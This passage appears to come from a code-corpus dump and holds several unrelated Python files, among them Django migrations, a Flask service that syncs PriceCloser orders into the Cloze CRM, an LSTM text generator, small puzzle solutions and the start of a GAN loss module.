the same order as # CIM input states origins = (n for n in self._composition.get_nodes_by_role(NodeRole.INPUT) for istate in n.input_states) input_data = ([proj.parameters.value.get(execution_id) for proj in state.all_afferents] for state in node.input_states) inputs = defaultdict(list) for n, d in zip(origins, input_data): inputs[n].append(d[0]) if inputs is not None: inputs = self._get_input_struct(inputs) assert inputs is not None or node is not self._composition.input_CIM # Set bin node to make sure self._*struct works as expected self._set_bin_node(node) if node is not self._composition.input_CIM and self.__frozen_vals is None: self.freeze_values() self._bin_func.wrap_call(self._context_struct, self._param_struct, inputs, self.__frozen_vals, self._data_struct) if "comp_node_debug" in self.__debug_env: print("RAN: {}. CTX: {}".format(node, self.extract_node_state(node))) print("RAN: {}. Params: {}".format(node, self.extract_node_params(node))) print("RAN: {}. Results: {}".format(node, self.extract_node_output(node))) @property def _bin_exec_func(self): if self.__bin_exec_func is None: self.__bin_exec_func = self._composition._get_bin_execution() return self.__bin_exec_func @property def _bin_exec_multi_func(self): if self.__bin_exec_multi_func is None: self.__bin_exec_multi_func = self._bin_exec_func.get_multi_run() return self.__bin_exec_multi_func def execute(self, inputs): inputs = self._get_input_struct(inputs) if len(self._execution_ids) > 1: self._bin_exec_multi_func.wrap_call(self._context_struct, self._param_struct, inputs, self._data_struct, self._conditions, self._ct_len) else: self._bin_exec_func.wrap_call(self._context_struct, self._param_struct, inputs, self._data_struct, self._conditions) def cuda_execute(self, inputs): # Create input buffer inputs = self._get_input_struct(inputs) data_in = self.upload_ctype(inputs) self._bin_exec_func.cuda_call(self._cuda_context_struct, self._cuda_param_struct, data_in, self._cuda_data_struct, self._cuda_conditions, threads=len(self._execution_ids)) # Copy the data struct from the device self._data_struct = self.download_ctype(self._cuda_data_struct, self._vo_ty) # Methods used to accelerate "Run" def _get_run_input_struct(self, inputs, num_input_sets): origins = self._composition.get_nodes_by_role(NodeRole.INPUT) input_type = self._composition._get_bin_run().byref_arg_types[3] c_input = input_type * num_input_sets if len(self._execution_ids) > 1: c_input = c_input * len(self._execution_ids) run_inputs = [] for inp in inputs: run_inps = [] # Extract inputs for each trial for i in range(num_input_sets): run_inps.append([]) for m in origins: run_inps[i] += [[v] for v in inp[m][i]] run_inputs.append(run_inps) else: run_inputs = [] # Extract inputs for each trial for i in range(num_input_sets): run_inputs.append([]) for m in origins: run_inputs[i] += [[v] for v in inputs[m][i]] return c_input(*_tupleize(run_inputs)) @property def _bin_run_func(self): if self.__bin_run_func is None: self.__bin_run_func = self._composition._get_bin_run() return self.__bin_run_func @property def _bin_run_multi_func(self): if self.__bin_run_multi_func is None: self.__bin_run_multi_func = self._bin_run_func.get_multi_run() return self.__bin_run_multi_func def run(self, inputs, runs, num_input_sets): inputs = self._get_run_input_struct(inputs, num_input_sets) ct_vo = self._bin_run_func.byref_arg_types[4] * runs if len(self._execution_ids) > 1: ct_vo = ct_vo * len(self._execution_ids) outputs = ct_vo() runs_count = ctypes.c_int(runs) input_count = ctypes.c_int(num_input_sets) if len(self._execution_ids) > 1: self._bin_run_multi_func.wrap_call(self._context_struct, self._param_struct, self._data_struct, inputs, outputs, runs_count, input_count, self._ct_len) else: self._bin_run_func.wrap_call(self._context_struct, self._param_struct, self._data_struct, inputs, outputs, runs_count, input_count) return _convert_ctype_to_python(outputs) def cuda_run(self, inputs, runs, num_input_sets): # Create input buffer inputs = self._get_run_input_struct(inputs, num_input_sets) data_in = self.upload_ctype(inputs) # Create output buffer output_type = (self._bin_run_func.byref_arg_types[4] * runs) if len(self._execution_ids) > 1: output_type = output_type * len(self._execution_ids) output_size = ctypes.sizeof(output_type) data_out = jit_engine.pycuda.driver.mem_alloc(output_size) runs_count = jit_engine.pycuda.driver.In(np.int32(runs)) input_count = jit_engine.pycuda.driver.In(np.int32(num_input_sets)) self._uploaded_bytes += 8 # runs_count + input_count self._bin_run_func.cuda_call(self._cuda_context_struct, self._cuda_param_struct, self._cuda_data_struct, data_in, data_out, runs_count, input_count, threads=len(self._execution_ids)) # Copy the data struct from the device ct_out = self.download_ctype(data_out, output_type) return _convert_ctype_to_python(ct_out)
1.773438
2
coursinary_app/migrations/0009_auto_20200510_0741.py
ranybal17/Coursinary
0
12764320
<reponame>ranybal17/Coursinary<gh_stars>0 # Generated by Django 3.0.6 on 2020-05-10 07:41 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('coursinary_app', '0008_auto_20200510_0739'), ] operations = [ migrations.AlterField( model_name='course', name='code', field=models.CharField(max_length=10), ), migrations.AlterField( model_name='course', name='course_number', field=models.CharField(max_length=5), ), migrations.AlterField( model_name='subject', name='code', field=models.CharField(max_length=10), ), ]
1.640625
2
offline_train.py
nivedithaparthasarathy50/mudrarecognitionDec242021
0
12764321
import cv2 import argparse import os data={"label_name":[],"no_of_video":[], "overall_fps":[]} def TrainingVideoFiles(video_location, video_name): files = [f for f in os.listdir(video_location)] data['label_name'].append(video_name) data['no_of_video'].append(len(files)) fps=0 try: os.mkdir("tf_files/mudras/"+video_name) except: print("Directory Already Exists") for index,file in enumerate(files): vidcap = cv2.VideoCapture(video_location+"/"+file) success, image = vidcap.read() count = 1 while success: cv2.imwrite("./tf_files/mudras/%s/image%d_%d.jpg" % (video_name,index, count), image) success, image = vidcap.read() print('Saved image',video_name,index,"-", count, end="\r") count += 1 fps+=count data['overall_fps'].append(fps) if __name__ == '__main__': for file in os.listdir("./offline_training"): TrainingVideoFiles("./offline_training/"+file, file) print("\n\n%12s|%12s|%12s"%("Label Name", "No of Videos", "Overall Fps")) print("%12s|%12s|%12s"%("="*12,"="*12, "="*12)) for label, vid, fps in zip(data['label_name'],data['no_of_video'], data['overall_fps']): print("%-12s|%12d|%12d"%(label, vid, fps)) input("Press any key to exit...")
2.59375
3
app/providers/cloze.py
nerevu/rorschach
0
12764322
<filename>app/providers/cloze.py<gh_stars>0 # -*- coding: utf-8 -*- """ app.api ~~~~~~~~~~~~ Provides endpoints for pulling orders from OpenCart (pricecloser.com) into Cloze. Live Site: Endpoints: Visit the live site for a list of all available endpoints """ import json import os import time from datetime import date, datetime, timedelta from itertools import cycle, dropwhile, islice import requests from flask import Blueprint, Flask, current_app as app, request, url_for from flask.views import MethodView from app import cache from app.utils import get_links, get_request_base, jsonify, parse from config import Config blueprint = Blueprint("API", __name__) # these don't change based on mode, so no need to do app.config['...'] RESTADMIN_ID = Config.OPENCART_RESTADMIN_ID PREFIX = Config.API_URL_PREFIX CLOZE_BASE_URL = Config.CLOZE_BASE_URL CLOZE_EMAIL = Config.CLOZE_EMAIL CLOZE_API_KEY = Config.CLOZE_API_KEY CLOZE_ACCOUNT_MAP = Config.CLOZE_ACCOUNT_MAP CLOZE_STAGES = Config.CLOZE_STAGES PRICECLOSER_BASE_URL = Config.PRICECLOSER_BASE_URL DATE_FORMAT = Config.DATE_FORMAT CLOZE_AUTH_PARAMS = {"user": CLOZE_EMAIL, "api_key": CLOZE_API_KEY} CLOZE_STAGES_MAPPING = { "people": { # TODO: always set the person to active (for create and update). # Come up with a better way to assign people stages sometime. # Currently, the issue is that a person can have a pending order # and a different processed order, so which status should he/she be? # The first or the second? "processed": CLOZE_STAGES["people"]["active"], "pending": CLOZE_STAGES["people"]["active"], }, "projects": { "processed": CLOZE_STAGES["projects"]["done"], "pending": CLOZE_STAGES["projects"]["potential"], # TODO: couldn't find where these numbers are defined in PriceCloser. Keep looking. # These are order_status_ids that were deduced by looking at the orders # that are retrieved from the REST Admin API "15": CLOZE_STAGES["projects"]["done"], # 15 (processed) "1": CLOZE_STAGES["projects"]["potential"], # 1 (pending) }, } PRICECLOSER_APPLINK_BASE_URL = "https://pricecloser.com/admin/index.php?route=" PRICECLOSER_HEADERS = { "X-Oc-Restadmin-Id": RESTADMIN_ID, # OpenCart will send a 406 (Mod_Security) error without a user agent "User-Agent": "PostmanRuntime/7.20.1", } HEADERS = {"Accept": "application/json"} SOURCE = "pricecloser.com" SHARE_TO_TEAMS = Config.SHARE_TO_TEAMS ROUTE_TIMEOUT = Config.ROUTE_TIMEOUT LRU_CACHE_SIZE = Config.LRU_CACHE_SIZE FAILURE_TTL = Config.FAILURE_TTL share_to = import_to = "team" if SHARE_TO_TEAMS else "" def post_to_cloze(resource, verb, headers=None, **kwargs): url = f"{CLOZE_BASE_URL}/{resource}/{verb}" name = kwargs["name"] headers = headers or {} params = {**CLOZE_AUTH_PARAMS, "team": str(SHARE_TO_TEAMS).lower()} request_headers = {**HEADERS, **headers, "Content-Type": "application/json"} data = json.dumps(kwargs) r = requests.post(url, data=data, params=params, headers=request_headers) resp = r.json() okay = not resp["errorcode"] if okay: message = f"Successfully {verb}d {resource} '{name}'!" status_code = 200 result = kwargs else: message = f"Error trying to {verb} {resource} '{name}'. " message += resp["message"] status_code = 500 if r.status_code == 200 else r.status_code result = {} return { "ok": okay, "message": message, "status_code": status_code, "result": result, } def get_from_cloze(resource, result_field, **kwargs): url = f"{CLOZE_BASE_URL}/{resource}/get" name = kwargs["uniqueid"] params = {**CLOZE_AUTH_PARAMS, **kwargs} r = requests.get(url, params=params) resp = r.json() okay = not resp["errorcode"] if okay: message = f"Successfully got {resource} '{name}'!" result = resp[result_field] status_code = 200 else: message = f"Error trying to get {resource} '{name}'. " message += resp["message"] result = {} status_code = 500 if r.status_code == 200 else r.status_code return { "ok": not resp["errorcode"], "message": message, "result": result, "status_code": status_code, } def gen_manufacturers(products): for product in products: product_url = f"{PRICECLOSER_BASE_URL}/products/{product['product_id']}" r = requests.get(product_url, headers=PRICECLOSER_HEADERS) resp = r.json() if not resp["error"]: yield resp["data"]["manufacturer"] def get_stage(status, cloze_area): def_stage = CLOZE_STAGES[cloze_area]["active"] return CLOZE_STAGES_MAPPING[cloze_area].get(status.lower(), def_stage) def get_cloze_customer(order): kwargs = {"uniqueid": order["email"], "team": str(SHARE_TO_TEAMS).lower()} return get_from_cloze("people", "person", **kwargs) def get_cloze_order(order): kwargs = { "uniqueid": f"{SOURCE}:{order['order_id']}", "team": str(SHARE_TO_TEAMS).lower(), } return get_from_cloze("projects", "project", **kwargs) def create_customer(**kwargs): return post_to_cloze("people", "create", **kwargs) def create_order(**kwargs): return post_to_cloze("projects", "create", **kwargs) def update_customer(**kwargs): return post_to_cloze("people", "update", **kwargs) def update_order(**kwargs): return post_to_cloze("projects", "update", **kwargs) def gen_order_ids(cloze_order): yield f"{SOURCE}:{cloze_order['name']}" if cloze_order.get("direct"): yield f"direct:{cloze_order['direct']}" def get_order_value(cloze_order): return { "name": cloze_order["name"], "type": "project", "ids": list(gen_order_ids(cloze_order)), } def get_order_data(cloze_order): return { "id": CLOZE_ACCOUNT_MAP["orders_link"], "type": "projects", "value": get_order_value(cloze_order), } def get_order_status(order): # defaults to pending status (order_status_id=1) return order.get("order_status", str(order.get("order_status_id", 1))) def create_customer_data(pricecloser_order, cloze_area): customer_id, email_is_id = get_customer_id(pricecloser_order) order_id = pricecloser_order["order_id"] order_status = get_order_status(pricecloser_order) first_name = pricecloser_order["payment_firstname"] last_name = pricecloser_order["payment_lastname"] customer_data = { "name": f"{first_name} {last_name}", "headline": f"PriceCloser Customer - Order {order_id}", "stage": get_stage(order_status, cloze_area), # shareTo must be set to team if you want your team # to be able to see this customer "shareTo": share_to, "segment": CLOZE_ACCOUNT_MAP["customer_segment"], "phones": [ { # Telephone numbers are dropped if they are not a valid telephone number for the US. # This is based on a Google common library for checking phone numbers. "value": pricecloser_order["telephone"] } ], "emails": [ { # Cloze automatically tries to determine if an email address is # a bulk email (like <EMAIL>) and it doesn't add it # if it determines that it's not a real-ish email address. "value": pricecloser_order["email"] } ], "customFields": [ { "id": CLOZE_ACCOUNT_MAP["lead_source"], "type": "keywords", "value": "website", }, ], "appLinks": [ { "source": SOURCE, # must always be the same "uniqueid": customer_id, "label": "PriceCloser Customer", "url": f"{PRICECLOSER_APPLINK_BASE_URL}customer/customer/edit&customer_id={customer_id}", } ], } if email_is_id: url = f"{PRICECLOSER_APPLINK_BASE_URL}sale/order/info&order_id={order_id}" customer_data["appLinks"][0]["url"] = url return customer_data def customer_to_order_data(pricecloser_order, customer): # Multiple customers can't be associated with one order, # so we are ok to replace the value of the "customer" customField. order_id = str(pricecloser_order["order_id"]) return { "importTo": import_to, "name": order_id, "customFields": [ { "id": CLOZE_ACCOUNT_MAP["customer_link"], "type": "contact", "value": { "name": customer["name"], "email": pricecloser_order["email"], }, } ], "appLinks": [ { "source": SOURCE, # must always be the same "uniqueid": order_id, "label": "PriceCloser Order", "url": f"{PRICECLOSER_APPLINK_BASE_URL}sale/order/info&order_id={order_id}", } ], } def create_order_data(pricecloser_order, manufacturers, customer=None): # map order_status to cloze stage order_status = get_order_status(pricecloser_order) stage = get_stage(order_status, "projects") order_id = str(pricecloser_order["order_id"]) customer_id = get_customer_id(pricecloser_order)[0] date_added = pricecloser_order["date_added"] total = pricecloser_order["total"] custom_fields = [ {"id": CLOZE_ACCOUNT_MAP["value"], "type": "currency", "value": total}, {"id": CLOZE_ACCOUNT_MAP["amount"], "type": "decimal", "value": total}, {"id": CLOZE_ACCOUNT_MAP["order_num"], "type": "text", "value": order_id}, { "id": CLOZE_ACCOUNT_MAP["manufacturers"], "type": "text", "value": manufacturers, }, ] if CLOZE_ACCOUNT_MAP.get("planned_start"): custom_fields.append( { "id": CLOZE_ACCOUNT_MAP["planned_start"], "type": "date", "value": date_added, } ) if CLOZE_ACCOUNT_MAP.get("customer_num"): custom_fields.append( { "id": CLOZE_ACCOUNT_MAP["customer_num"], "type": "text", "value": customer_id, } ) if customer: custom_fields.append( { "id": CLOZE_ACCOUNT_MAP["customer_link"], "type": "contact", "value": { "name": customer["name"], "email": pricecloser_order["email"], }, } ) # get request parameters order_data = { "name": order_id, "summary": manufacturers, "importTo": import_to, # The project will only show up under your personal projects if you are a member of the `deal team`. # You can set `deal team` members by setting the projectTeam field to an array of email addresses # (e.g. "projectTeam": ["<EMAIL>", "<EMAIL>"]). "projectTeam": [], "stage": stage, "segment": CLOZE_ACCOUNT_MAP["project_segment"], "createdDate": date_added, "customFields": custom_fields, "appLinks": [ { "source": SOURCE, # must always be the same "uniqueid": order_id, # uniqueid must be a string "label": "PriceCloser Order", "url": f"{PRICECLOSER_APPLINK_BASE_URL}sale/order/info&order_id={order_id}", } ], } return order_data def get_customer_id(pricecloser_order): email_is_id = pricecloser_order["customer_id"] in {"0", 0} key = "email" if email_is_id else "customer_id" customer_id = pricecloser_order[key] return str(customer_id), email_is_id def add_customer(pricecloser_order): # check if customer exists, create if doesn't customer_response = get_cloze_customer(pricecloser_order) if customer_response["ok"]: # TODO: check that retrieved name is the same as pricecloser name (update if not) response = customer_response else: customer_data = create_customer_data(pricecloser_order, "people") response = create_customer(**customer_data) response["result"] = customer_data if response["ok"] else {} return response def add_order(pricecloser_order, customer): # check if order exists, create if doesn't order_response = get_cloze_order(pricecloser_order) okay = order_response["ok"] if okay and customer: # make sure customer was added to order, add if not possible_ids = { f"direct:{customer.get('direct')}", pricecloser_order["email"], f"{SOURCE}:{get_customer_id(pricecloser_order)[0]}", } for field in order_response["result"].get("customFields", []): customer_link = CLOZE_ACCOUNT_MAP["customer_link"] if field["id"] == customer_link: if possible_ids.intersection(field["value"]["ids"]): response = order_response break else: order_data = customer_to_order_data(pricecloser_order, customer) response = update_order(**order_data) elif customer: _manufacturers = gen_manufacturers(pricecloser_order["products"]) manufacturers = ", ".join(set(_manufacturers)) order_data = create_order_data(pricecloser_order, manufacturers, customer) response = create_order(**order_data) response["result"] = order_data else: response = order_response response["result"] = {} return response def add_order_to_customer(cloze_order, customer): # check if order is attached to cloze customer, attach if not order_name = cloze_order["name"] custom_fields = customer.get("customFields", []) pairs = enumerate(custom_fields) fields_by_id = {field["id"]: (pos, field) for pos, field in pairs} pos, orders = fields_by_id.get(CLOZE_ACCOUNT_MAP["orders_link"], (0, {})) message = "" if orders: unique_order_id = f"{SOURCE}:{order_name}" for attached_order in orders["value"]: contains_order_id = unique_order_id in attached_order["ids"] same_order_name = order_name == attached_order["name"] if contains_order_id or same_order_name: contains_order = True break else: contains_order = False else: contains_order = False if orders and not contains_order: order_value = get_order_value(cloze_order) customer["customFields"][pos]["value"].append(order_value) elif not orders: order_data = get_order_data(cloze_order) if not customer.get("customFields"): customer["customFields"] = [] customer["customFields"].append(order_data) if not contains_order: customer["shareTo"] = share_to response = update_customer(**customer) contains_order = response["ok"] message = response["message"] if not response["ok"]: message += " Please add order manually." return {"ok": contains_order, "message": message} def add_customer_and_order(pricecloser_order, sleep=0): ################################################################## # TODO: The Cloze system doesn't always update people and projects # before I call the `get person` or `get project` endpoints again. # This causes updates to either to get overwritten by the next # project/person that comes from pricecloser. The sleep function # below has solved the problem, but a more elegant solution should # eventually be created. ################################################################## time.sleep(sleep) customer_response = add_customer(pricecloser_order) if customer_response["ok"]: customer = customer_response["result"] order_response = add_order(pricecloser_order, customer) if order_response["ok"]: cloze_order = order_response["result"] response = add_order_to_customer(cloze_order, customer) else: response = order_response else: response = customer_response return response def get_pc_orders(order_id=None, start=None, end=None): if order_id: order_url = f"{PRICECLOSER_BASE_URL}/orders/{order_id}" end_date = None else: # TODO: make sure this is working end = end or date.today().strftime(DATE_FORMAT) end_date = datetime.strptime(end, DATE_FORMAT) next_day = end_date + timedelta(days=1) pricecloser_end = (next_day).strftime(DATE_FORMAT) if not start: num_months_back = app.config["REPORT_MONTHS"] args = (end_date, num_months_back) start = get_start_date(*args).strftime(DATE_FORMAT) order_url = f"{PRICECLOSER_BASE_URL}/orders/details/added_from/{start}/added_to/{pricecloser_end}" r = requests.get(order_url, headers=PRICECLOSER_HEADERS) resp = r.json() result = resp["data"] okay = not resp["error"] if okay and order_id: message = f"Successfully fetched PriceCloser order '{order_id}'" elif okay: message = f"Successfully fetched PriceCloser orders from {start} to {pricecloser_end}!" elif order_id: message = f"PriceCloser order '{order_id}' not found!" else: message = f"No PriceCloser orders from {start} to {pricecloser_end} found!" if not okay: message += resp["error"][0] if okay: status_code = 200 elif r.status_code == 200: status_code = 500 else: status_code = r.status_code return { "ok": okay, "result": result, "message": message, "status_code": status_code, "end_date": end_date, } def get_job_response(job): return { "job_id": job.id, "job_status": job.get_status(), # TODO: this doesn't list the port in when run without app context "url": url_for(".result", job_id=job.id, _external=True), "ok": job.get_status() != "failed", } def transfer_orders(order_id=None, start=None, end=None, **kwargs): """NOTE: The REST Admin API is not inclusive of the end date that a person sends, so one day is added to the `end` parameter to make this endpoint inclusive. """ # If a date range is provided as parameters to this endpoint (start and end), # then the dates will not be set in the cache. This is because a date range may # be specified that doesn't bring in orders that were created earlier than this # date range, and if the cache was set to start after the specified date range, # this endpoint would never bring in the older orders. order_response = get_pc_orders(order_id, start, end) enqueue = kwargs.get("enqueue") failure_ttl = kwargs.get("failure_ttl", FAILURE_TTL) if order_response["ok"]: result = order_response["result"] if order_id and enqueue: job = q.enqueue(add_customer_and_order, result, failure_ttl=failure_ttl) response = get_job_response(job) elif order_id: response = add_customer_and_order(result) else: num_orders = len(result) response = {} for pricecloser_order in result: order_id = str(pricecloser_order["order_id"]) if cache.get(order_id): continue elif enqueue: job = q.enqueue( add_customer_and_order, pricecloser_order, 10, failure_ttl=failure_ttl, ) response = get_job_response(job) else: response = add_customer_and_order(pricecloser_order, 10) if response["ok"]: cache.set(order_id, True) else: break else: # TODO: think about tracking by order number in the future so # we don't have to rerun a whole batch of successful orders if # one fails. verb = "enqueued" if enqueue else "added" message = f"Successfully {verb} {num_orders} orders to Cloze." response["message"] = message else: response = order_response return response def last_day_of_month(month, year): """ >>> last_day_of_month(12, 2020) 31 >>> last_day_of_month(11, 2020) 30 >>> last_day_of_month(10, 2020) 31 >>> last_day_of_month(1, 2020) 31 """ _year = year + 1 if month == 12 else year _month = 1 if month == 12 else month + 1 last_date = date(_year, _month, 1) - timedelta(days=1) return last_date.day def get_start_date(end_date, num_months_back): """ Get the same day 'X' number of months ago. >>> end_date = date(2019, 6, 13) >>> get_start_date(end_date, 1) datetime.date(2019, 5, 13) >>> get_start_date(end_date, 6) datetime.date(2018, 12, 13) >>> get_start_date(end_date, 12) datetime.date(2018, 6, 13) >>> get_start_date(end_date, 26) datetime.date(2017, 4, 13) """ if num_months_back > end_date.month: _end_date = get_start_date(end_date, end_date.month) start_date = get_start_date(_end_date, num_months_back - end_date.month) else: if num_months_back == end_date.month: year, month = end_date.year - 1, 12 else: year, month = end_date.year, end_date.month - num_months_back last_day = last_day_of_month(month, year) day = min(end_date.day, last_day) start_date = date(year, month, day) return start_date ########################################################################### # ROUTES ########################################################################### @blueprint.route("/") @blueprint.route(PREFIX) def root(): response = { "message": "Welcome to the ClozeCart API!", "links": get_links(app.url_map.iter_rules()), } return jsonify(**response) class Order(MethodView): def get(self, order_id): info = { "description": "Get a Cloze customer for a PriceCloser order", "links": get_links(app.url_map.iter_rules()), } order_response = get_pc_orders(order_id) if order_response["ok"]: pricecloser_order = order_response["result"] response = get_cloze_customer(pricecloser_order) else: response = order_response response.update(info) return jsonify(**response) def patch(self, order_id): info = {"description": "Transfer a PriceCloser order to Cloze"} kwargs = {k: parse(v) for k, v in request.args.to_dict().items()} response = transfer_orders(order_id, **kwargs) response.update(info) return jsonify(**response) def post(self, start=None, end=None): info = {"description": "Transfer PriceCloser orders to Cloze"} kwargs = {k: parse(v) for k, v in request.args.to_dict().items()} response = transfer_orders(start=start, end=end, **kwargs) response.update(info) return jsonify(**response) @blueprint.route(f"{PREFIX}/result/<string:job_id>") def result(job_id): """Displays a job result. Args: job_id (str): The job id. """ job = q.fetch_job(job_id) statuses = { "queued": 202, "started": 202, "finished": 200, "failed": 500, "job not found": 404, } if job: job_status = job.get_status() job_result = job.result else: job_status = "job not found" job_result = {} response = { "status_code": statuses[job_status], "job_id": job_id, "job_status": job_status, "result": job_result, "links": get_links(app.url_map.iter_rules()), } return jsonify(**response) @blueprint.route(f"{PREFIX}/update") def update(pid=None): kwargs = {k: parse(v) for k, v in request.args.to_dict().items()} sync = kwargs.get("sync") with app.app_context(): if sync: resp = {"result": func(*fargs, **fkwargs)} else: job = q.enqueue(func, *fargs, **fkwargs) result_url = "%s/result/%s/" % (base, job.id) resp = { "job_id": job.id, "job_status": job.get_status(), "result_url": result_url, } return jsonify(**resp) # https://stackoverflow.com/a/13381847/408556 # https://api.cloze.com/api-docs/#! user = "<EMAIL>" api_key = "<KEY>" scope = "team" stage = "lead" segment = "customer" changes = "false" api_base = "https://api.cloze.com/v1" @blueprint.route("/") def companies(): params = { "user": user, "api_key": api_key, "scope": scope, "stage": stage, "segment": segment, "includeauditedchanges": changes, } route = f"{api_base}/companies/feed" r = requests.get(route, params=params) return jsonify(r.json()) @blueprint.route("/people") def people(): params = { "user": user, "api_key": api_key, "scope": scope, "stage": stage, "segment": segment, "includeauditedchanges": changes, } route = f"{api_base}/people/feed" r = requests.get(route, params=params) return jsonify(r.json()) if __name__ == "__main__": app.run(debug=True)
2.09375
2
tests/pysphinx_autoindex/data/input/test-project/tests/test_class.py
suburbanmtman/pysphinx-autoindex
1
12764323
<reponame>suburbanmtman/pysphinx-autoindex # coding=utf-8 def test_method(param): """ Should not show up :param param: any param :return: None """ return None
1.945313
2
utils.py
Leaniz/gordologo
1
12764324
from unidecode import unidecode def compare_name(name_1, name_2): name_1 = unidecode(name_1).lower() name_2 = unidecode(name_2).lower() return name_1 == name_2
3.1875
3
main/migrations/0003_auto_20190525_0929.py
MenacingDwarf/HackGatchina
1
12764325
<gh_stars>1-10 # Generated by Django 2.2.1 on 2019-05-25 09:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0002_auto_20190525_0922'), ] operations = [ migrations.AlterField( model_name='sight', name='categories', field=models.TextField(default={'architecture': 0, 'art': 0, 'history': 0, 'interesting': 0, 'nature': 0, 'religion': 0, 'war': 0}), ), ]
1.523438
2
lstm.py
iibrahimli/lstm-text-generation
2
12764326
<reponame>iibrahimli/lstm-text-generation from keras.models import Sequential from keras.layers import Dense, Dropout, LSTM from keras.callbacks import ModelCheckpoint from keras.utils import np_utils import numpy filename = "input.txt" raw_text = open(filename).read() raw_text = raw_text.lower() raw_text = [i for i in raw_text if (i.isalnum() or i in ['\n', ' ']) and i not in ['ë', 'ô']] chars = sorted(list(set(raw_text))) char_to_int = dict((c, i) for i, c in enumerate(chars)) n_chars = len(raw_text) n_vocab = len(chars) print("Total characters:", n_chars) print("Total vocabulary:", n_vocab) print("Characters:") print(chars) seq_length = 50 dataX = [] dataY = [] for i in range(0, n_chars - seq_length): seq_in = raw_text[i:i+seq_length] seq_out = raw_text[i+seq_length] dataX.append([char_to_int[char] for char in seq_in]) dataY.append(char_to_int[seq_out]) n_patterns = len(dataX) print("Total patterns:", n_patterns) X = numpy.reshape(dataX, (n_patterns, seq_length, 1)) X = X / float(n_vocab) y = np_utils.to_categorical(dataY) model = Sequential() model.add(LSTM(256, input_shape=(X.shape[1], X.shape[2]), return_sequences=True)) model.add(Dropout(0.2)) model.add(LSTM(256)) model.add(Dropout(0.2)) model.add(Dense(y.shape[1], activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam') filepath = "lstm_weights_{epoch:02d}-{loss:.5f}.hdf5" checkpoint = ModelCheckpoint(filepath, monitor='loss', verbose=1, save_best_only=1, mode='min') callbacks_list = [checkpoint] # model.load_weights("lstm_weights_50-1.56724.hdf5") model.fit(X, y, epochs=50, batch_size=128, callbacks=callbacks_list)
3.296875
3
personal/urls.py
KellenNjoroge/keller-gallery
0
12764327
from django.conf.urls import url from . import views from django.conf import settings from django.conf.urls.static import static urlpatterns = [ url('^$',views.index,name='index'), url('^image/',views.single_image,name='single_image'), url('^location/',views.images_by_location,name='location'), url('^category/', views.images_by_category, name='category'), ] if settings.DEBUG: urlpatterns+= static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)
1.9375
2
euler/p35.py
parin2092/cook
0
12764328
<reponame>parin2092/cook<filename>euler/p35.py import math n = 100 isPrime = [True for i in range(n)] isPrime[0] = False isPrime[1] = False isPrime[2] = True isPrime[3] = True def perm(arr,pre,curr): if len(curr) == 0: arr.append(pre) for i in xrange(len(curr)): perm(arr, pre+curr[i], curr[0:i]+curr[i+1:]) def circPrime(n): if n < 10: return True digits = set(list(str(n))) usualSuspect = set(['0', '2', '4', '5', '6', '8']) return True def getAllCircPrimes(): sqrn = int(math.floor(math.sqrt(n)))+1 for i in xrange(2,sqrn): if isPrime[i]: for j in xrange(i*i,n,i): isPrime[j] = False primes = [] for i in xrange(n): if isPrime[i]: primes.append(i) # print primes s = 0 for prime in primes: if circPrime(prime): s += 1 print s getAllCircPrimes()
3.25
3
Algorithms/implementation_drawing_book.py
suketm/hackerrank
0
12764329
<filename>Algorithms/implementation_drawing_book.py n = int(input()) p = int(input()) print (min(p//2, ((n + (n+1)%2)-p)//2 ))
3.375
3
labml_nn/gan/original/__init__.py
dongfangyixi/annotated_deep_learning_paper_implementations
1
12764330
""" --- title: Generative Adversarial Networks (GAN) summary: A simple PyTorch implementation/tutorial of Generative Adversarial Networks (GAN) loss functions. --- # Generative Adversarial Networks (GAN) This is an implementation of [Generative Adversarial Networks](https://arxiv.org/abs/1406.2661). The generator, $G(\pmb{z}; \theta_g)$ generates samples that match the distribution of data, while the discriminator, $D(\pmb{x}; \theta_g)$ gives the probability that $\pmb{x}$ came from data rather than $G$. We train $D$ and $G$ simultaneously on a two-player min-max game with value function $V(G, D)$. $$\min_G \max_D V(D, G) = \mathop{\mathbb{E}}_{\pmb{x} \sim p_{data}(\pmb{x})} \big[\log D(\pmb{x})\big] + \mathop{\mathbb{E}}_{\pmb{z} \sim p_{\pmb{z}}(\pmb{z})} \big[\log (1 - D(G(\pmb{z}))\big] $$ $p_{data}(\pmb{x})$ is the probability distribution over data, whilst $p_{\pmb{z}}(\pmb{z})$ probability distribution of $\pmb{z}$, which is set to gaussian noise. This file defines the loss functions. [Here](../simple_mnist_experiment.html) is an MNIST example with two multilayer perceptron for the generator and discriminator. """ import torch import torch.nn as nn import torch.utils.data import torch.utils.data from labml_helpers.module import Module class DiscriminatorLogitsLoss(Module): """ ## Discriminator Loss Discriminator should **ascend** on the gradient, $$\nabla_{\theta_d} \frac{1}{m} \sum_{i=1}^m \Bigg[ \log D\Big(\pmb{x}^{(i)}\Big) + \log \Big(1 - D\Big(G\Big(\pmb{z}^{(i)}\Big)\Big)\Big) \Bigg]$$ $m$ is the mini-batch size and $(i)$ is used to index samples in the mini-batch. $\pmb{x}$ are samples from $p_{data}$ and $\pmb{z}$ are samples from $p_z$. """ def __init__(self, smoothing: float = 0.2): super().__init__() # We use PyTorch Binary Cross Entropy Loss, which is # $-\sum\Big[y \log(\hat{y}) + (1 - y) \log(1 - \hat{y})\Big]$, # where $y$ are the labels and $\hat{y}$ are the predictions. # *Note the negative sign*. # We use labels equal to $1$ for $\pmb{x}$ from $p_{data}$ # and labels equal to $0$ for $\pmb{x}$ from $p_{G}.$ # Then descending on the sum of these is the same as ascending on # the above gradient. # # `BCEWithLogitsLoss` combines softmax and binary cross entropy loss. self.loss_true = nn.BCEWithLogitsLoss() self.loss_false = nn.BCEWithLogitsLoss() # We use label smoothing because it seems to work better in some cases self.smoothing = smoothing # Labels are registered as buffered and persistence is set to `False`. self.register_buffer('labels_true', _create_labels(256, 1.0 - smoothing, 1.0), False) self.register_buffer('labels_false', _create_labels(256, 0.0, smoothing), False) def __call__(self, logits_true: torch.Tensor, logits_false: torch.Tensor): """ `logits_true` are logits from $D(\pmb{x}^{(i)})$ and `logits_false` are logits from $D(G(\pmb{z}^{(i)}))$ """ if len(logits_true) > len(self.labels_true): self.register_buffer("labels_true", _create_labels(len(logits_true), 1.0 - self.smoothing, 1.0, logits_true.device), False) if len(logits_false) > len(self.labels_false): self.register_buffer("labels_false", 